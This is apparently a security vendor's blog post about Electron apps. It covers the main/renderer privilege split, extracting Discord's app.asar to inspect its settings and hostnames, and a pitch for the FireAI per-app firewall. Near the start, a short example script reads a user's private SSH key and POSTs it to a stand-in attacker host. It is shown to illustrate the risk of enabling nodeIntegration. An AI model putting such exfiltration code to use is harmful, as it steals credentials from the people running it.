Electron combines the Chromium rendering engine with the Node.js runtime so that one JavaScript codebase can ship as a desktop app on macOS, Windows and Linux. Slack, Discord, Notion and many others are built this way, and for years so was Microsoft Teams. The convenience is real. So is a consequence worth understanding: an Electron app is not one process with one privilege level, and its bundled source is not hard to read.
Two processes, two privilege levels
Every Electron app has a Main process, which runs full Node.js with normal OS-level file and network access, and one or more Renderer processes, which display web content in a Chromium context. Electron’s own security documentation is explicit about the risk of blurring that line: “It is paramount that you do not enable Node.js integration in any renderer that loads remote content,” because doing so removes the barrier between a web page and the operating system. Its stated fix is not “trust the content instead”, but architectural: keep Node access out of the renderer, and expose only a deliberately narrow API to it through a preload script and the contextBridge API, with context isolation on.
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')
const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)The archive is not a secret: extracting a real app
Most Electron apps ship their JavaScript and HTML inside an app.asar file. Electron’s own docs are direct about what that format is for: “archives are read-only” and bundling into one is meant to “conceal your source code from cursory inspection” — its own wording, not an outside claim — while stating plainly elsewhere that ASAR provides no encryption. To check what that means in practice, we extracted the real, currently installed copy of Discord for macOS (build 0.0.294) on this machine, using Electron’s own maintained packer.
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056One command produced 1,056 plain files: readable JavaScript, package.json, and Discord’s own module layout, exactly as Electron’s documentation says it will. No decompilation, no reverse engineering, no password. This is not a flaw in Discord; it is how the ASAR format works for every Electron app, by design.
What a real extract shows about network behaviour
With the source in plain text, both security review and search become trivial. We searched the extracted files for two things: which webPreferences Discord actually sets, and which hostnames appear in its own code (excluding third-party node_modules).
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376: nodeIntegration: false,
app_bootstrap/splashScreen.js:379: contextIsolation: true,
grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
12 www.w3.org
3 twitter.com
3 discord.com
2 github.com
1 updates.discord.com
1 reactjs.orgTo be fair to the specific app we tested: Discord’s splash-screen window follows Electron’s hardening advice exactly, nodeIntegration: false and contextIsolation: true. That is worth stating plainly rather than skipped over. The point this makes is not that Discord is insecure; it is that we could check, in minutes, on any Electron app, because the archive format keeps nothing hidden. Most people installing an Electron app never look, and most static endpoint tools do not either.
Why a binary-trust firewall cannot help here
None of the hostnames above are secret or surprising for a chat app to reach, and that is exactly the problem for network-level defence. A firewall that decides by code signature sees one thing: a notarized, Apple-signed binary making ordinary HTTPS requests on port 443. It has no way to tell a legitimate API call, a bundled analytics SDK, and, in a genuinely compromised renderer, an exfiltration attempt apart from one another. All three look like the same trusted process talking to the internet, because they are the same process.
- Judging an Electron app by its code signature says nothing about which of its many bundled dependencies are making which connections.
- Because the source is plain JavaScript in an unencrypted archive, auditing what an app can reach is realistic, not theoretical, for anyone willing to run
asar extract. - The one control that does not depend on trusting the binary is per-process, per-destination network policy: deciding, at the socket, what a given app is allowed to reach.
How FireAI and HisnLabs fit in
A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.
FireAI is HisnLabs’ own product: an on-device AI firewall for Mac. It shows every connection your apps make, in plain language, and lets you decide what leaves your Mac — its AI runs locally, so your traffic is never sent to us or anyone else. HisnLabs’ security research team is the group that keeps that decision-making accurate: cataloguing which domains are ordinary telemetry versus a real product, tracking the country and network behind a connection, and training the on-device model (its Autopilot feature) on real traffic patterns, all without any of it leaving your Mac.
You can read the technical decisions behind it, or try FireAI for 17 days, at FireAI, by HisnLabs.
